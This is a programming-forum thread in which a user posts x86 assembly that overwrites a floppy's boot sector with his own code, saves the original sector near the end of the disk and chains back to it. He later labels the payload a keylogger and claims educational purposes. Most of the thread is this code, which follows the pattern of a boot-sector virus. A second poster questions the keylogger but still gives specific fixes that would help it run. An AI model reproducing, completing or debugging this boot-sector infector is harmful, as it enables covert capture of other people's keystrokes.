install code at boot sector of floppy

Programming, for all ages and all languages.
bruninho
Posts: 9
Joined: Thu Sep 20, 2018 12:05 am

install code at boot sector of floppy

Post by bruninho »

I am trying to install my code onto boot sector however the floppy disk don't boot with my code injected. Here is part of my source:

Code: Select all

mov ax,201h
mov bx,SETOR
mov cx,1
mov dx,0
int 13h

LEA DI,[SETOR+3EH]
MOV SI,CODE
MOV CX,1C0h
REP MOVSB

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es

;push cx
;push dx

sub cl,6
;lea bx,[setor+3Eh]
mov bx,SETOR
mov ax,301h
mov dl,0h
int 13h

;pop dx
;pop cx

mov bx,SETOR
mov ax,301h
mov cx,1
mov dh,0
mov dl,0h
INT 13H

ret

CODE:
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax
mov sp,7C00h
mov di,600h
mov si,7c00h
mov cx,512
cld
rep movsb
push ax
push 61Ch
retf
cli
IN AL,64H
...
What is wrong in my source above?
Octocontrabass
Member
Member
Posts: 5512
Joined: Mon Mar 25, 2013 7:01 pm

Re: install code at boot sector of floppy

Post by Octocontrabass »

How do you know the problem is with the code you've shown here, and not something else?
bruninho
Posts: 9
Joined: Thu Sep 20, 2018 12:05 am

Re: install code at boot sector of floppy

Post by bruninho »

Octocontrabass wrote:How do you know the problem is with the code you've shown here, and not something else?
Because the OS just should boot from this code at bootstrap sector.
Octocontrabass
Member
Member
Posts: 5512
Joined: Mon Mar 25, 2013 7:01 pm

Re: install code at boot sector of floppy

Post by Octocontrabass »

Have you checked the disk using a hex editor to see if your code was successfully written to the disk?
bruninho
Posts: 9
Joined: Thu Sep 20, 2018 12:05 am

Re: install code at boot sector of floppy

Post by bruninho »

Octocontrabass wrote:Have you checked the disk using a hex editor to see if your code was successfully written to the disk?
Yes. The boot sector was modified however it dont is writed at last sector - 6 that should be saved at final of disk.
Octocontrabass
Member
Member
Posts: 5512
Joined: Mon Mar 25, 2013 7:01 pm

Re: install code at boot sector of floppy

Post by Octocontrabass »

Check the return values from the INT 0x13 call. Does the BIOS say the write was successful?
bruninho
Posts: 9
Joined: Thu Sep 20, 2018 12:05 am

Re: install code at boot sector of floppy

Post by bruninho »

Octocontrabass wrote:Check the return values from the INT 0x13 call. Does the BIOS say the write was successful?
I already check the values at AH register and the INT 13h was writed sucessfully. I am already afraid beacause i dont understand what is happening
bruninho
Posts: 9
Joined: Thu Sep 20, 2018 12:05 am

Re: install code at boot sector of floppy

Post by bruninho »

I think the error is:

Code: Select all

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
pop es
INT 13H
SUB CL,6
MOV AX,201H
MOV DL,0H
;MOV DH,0
INT 13H
MOV AX,301H
MOV CX,1
INT 13H
MOV DL,0
INT 19H
Octocontrabass
Member
Member
Posts: 5512
Joined: Mon Mar 25, 2013 7:01 pm

Re: install code at boot sector of floppy

Post by Octocontrabass »

Are you trying to back up and restore the original boot sector? You're not backing up the original boot sector, so you can't restore it.
bruninho
Posts: 9
Joined: Thu Sep 20, 2018 12:05 am

Re: install code at boot sector of floppy

Post by bruninho »

Octocontrabass wrote:Are you trying to back up and restore the original boot sector? You're not backing up the original boot sector, so you can't restore it.
Yes i write the original bootstrap sector at 6 last sectors.

Why you say that i not backup the 1st sector?
Octocontrabass
Member
Member
Posts: 5512
Joined: Mon Mar 25, 2013 7:01 pm

Re: install code at boot sector of floppy

Post by Octocontrabass »

Because you never write the original first sector back to the disk.
  1. You read the first sector to a buffer in memory
  2. You modify the buffer
  3. You write the modified buffer to a sector near the end of the disk
  4. You write the modified buffer to the first sector
bruninho
Posts: 9
Joined: Thu Sep 20, 2018 12:05 am

Re: install code at boot sector of floppy

Post by bruninho »

I've modified my source code however it don't solve my problem. The Operating System don't bootstrap with this source:

Code: Select all


mov ax,201h
mov bx,SETOR
mov cx,1
mov dx,0
int 13h

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es


mov ax,301h
sub cl,6
mov dl,0
mov bx,SETOR
INT 13H

LEA DI,[SETOR+3EH]
MOV SI,KEYLOGGER
MOV CX,1C0h
REP MOVSB

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es


mov bx,SETOR
mov ax,301h
mov cx,1
mov dh,0
mov dl,0h
INT 13H

ret

CODE:
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax
mov sp,7C00h
mov di,600h
mov si,7c00h
mov cx,512
cld
rep movsb
push ax
push 61Ch
retf

.............

IN AL,64H

.............

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
pop es
INT 13H
SUB CL,6
MOV AX,201H
MOV DL,0H
;MOV DH,0
INT 13H
MOV DL,0
MOV AX,301H
MOV CX,1
;CS
MOV BX,SETOR
INT 13H
MOV DL,0
INT 19H

BUF db 2048 dup (0)
SETOR  db 512 dup(0)
What should i do?
Octocontrabass
Member
Member
Posts: 5512
Joined: Mon Mar 25, 2013 7:01 pm

Re: install code at boot sector of floppy

Post by Octocontrabass »

Why are you writing a keylogger?
bruninho
Posts: 9
Joined: Thu Sep 20, 2018 12:05 am

Re: install code at boot sector of floppy

Post by bruninho »

Octocontrabass wrote:Why are you writing a keylogger?
For educational purposes.

See my source that still dont work:

Code: Select all


mov ax,201h
mov bx,SETOR
mov cx,1
mov dx,0
int 13h

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es


mov ax,301h
sub cl,6
mov dl,0
mov bx,SETOR
INT 13H

LEA DI,[SETOR+3EH]
MOV SI,KEYLOGGER
MOV CX,1C0h
REP MOVSB

mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
INT 13H
pop es


mov bx,SETOR
mov ax,301h
mov cx,1
mov dh,0
mov dl,0h
INT 13H

ret

KEYLOGGER:
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax
mov sp,7C00h
mov di,600h
mov si,7c00h
mov cx,512
cld
rep movsb
push ax
push 61Ch
retf



IN AL,64H



mov ah,8
mov dl,0h
mov di,0
push es
mov es,di
pop es
INT 13H
SUB CL,6
MOV AX,201H
MOV DL,0H
;MOV DH,0
MOV BX,SETOR
INT 13H
MOV DL,0
MOV AX,301H
MOV CX,1
;CS
MOV BX,SETOR
INT 13H
MOV DL,0
INT 19H

BUF db 2048 dup (0)
SETOR  db 512 dup(0)
And still dont bootstrap with floppy disk. Why?
Octocontrabass
Member
Member
Posts: 5512
Joined: Mon Mar 25, 2013 7:01 pm

Re: install code at boot sector of floppy

Post by Octocontrabass »

Code: Select all

mov ss,ax
mov ds,ax
mov es,ax
mov sp,7C00h
Any MOV to SS must be followed immediately by a MOV to SP. Having instructions between them can cause issues.

Code: Select all

push 61Ch
Are you sure this is the right value? Perhaps you should use label arithmetic to come up with it instead. (Also, since the address is a constant, you can use a far JMP instead of a far RET.)

Code: Select all

push es
mov es,di
pop es
INT 13H
I think you copy-pasted this code in the wrong order.

Code: Select all

MOV BX,SETOR
Will this label evaluate to a reasonable address if you use it inside your "keylogger"?
Post Reply